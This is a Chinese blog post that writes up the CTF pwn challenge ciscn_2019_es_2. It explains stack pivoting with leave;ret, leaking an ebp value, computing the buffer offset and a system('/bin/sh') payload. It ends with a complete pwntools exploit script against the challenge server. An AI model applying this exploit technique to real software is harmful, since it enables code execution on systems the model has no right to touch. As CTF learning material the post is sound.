从一道栈迁移题暴露出基础知识底层的严重不牢固 ciscn_2019_es_2

这道题就当作一个知识大整理吧,虽然花了不少时间,但暴露出的问题还是很多的,还是挺感谢这道题的

 

 ida看伪代码

 

 

 

 两次读入,虽然有栈溢出,但是只能溢出道ebp和ret

通过第一次read可以得到ebp的值(即栈上的一个地址)

然后进行栈迁移(其实是第一次做这种题)

 

 得到ebp存放的值为0xffb0af18

而数组的存放地址是0xffb0aee0

两者偏移距离0x38

所以数组s的地址=得到的addr-0x38

现在开始构造payload了

将就着看

 

 

首先leave命令变成汇编就是mov esp,ebp  / pop ebp

首先将ebp的值赋值给esp,由于ebp被覆盖为s数组的地址,所以。。。。。。。。。。。

经过激烈的思想斗争,我发现半夜不吃饭脑子就是不行(脑力不够了)

一相同理解马上就上去了

再来一次:

首先这个函数vlun结束时本来就要leave

这时rsp指向fake ebp的地址,pop ebp时将fake ebp的值取出,所以ebp此时指向fake ebp即s的地址

然后再leave 此时esp指向ebp即s的地址,ebp的地址已经无所谓了,所以s的前4个字节无所谓

此时esp指向system,ebp管他呢

然后执行ret 即pop eip  所以下一步要执行system函数

 

 变成以上样子

函数调用时栈的结构

 

 函数返回时要ret,所以要隔着一个返回地址再加参数

此处建议看长亭科技栈溢出88分钟开始

https://www.bilibili.com/video/BV15z4y1X7uw

 

 所以system函数的参数是bin/sh字符串的地址(可以算出来的,此处不想动了)

然后成功得到flag

 

 exp:

from pwn import *
from LibcSearcher import *
p=remote('node3.buuoj.cn',25779)
#p=process('./ciscn_2019_es_2')
elf=ELF('./ciscn_2019_es_2')
system=elf.plt['system']
main=elf.symbols['main']
leave=0x080484b8
p.recvuntil("name?")
payload='a'*0x27+'b'
p.send(payload)
p.recvuntil('b')
stack=u32(p.recv(4))
print("%x"%stack)
esp=stack-0x38
ebp=esp
payload=(p32(esp)+p32(system)+p32(main)+p32(esp+0x10)+'/bin/sh\x00').ljust(0x28,'\x00')+p32(esp)+p32(leave)
p.send(payload)
p.interactive()

总结:

这道题可以说重构了我对程序运行的理解,好多想当然的事情结果是错的,原因还是汇编以及函数调用的理解不深刻,打开了新世界的大门,就当是新的开始吧

 

posted @ 2021-03-08 23:57  Haokunnnnnnnna  阅读(128)  评论(0编辑  收藏  举报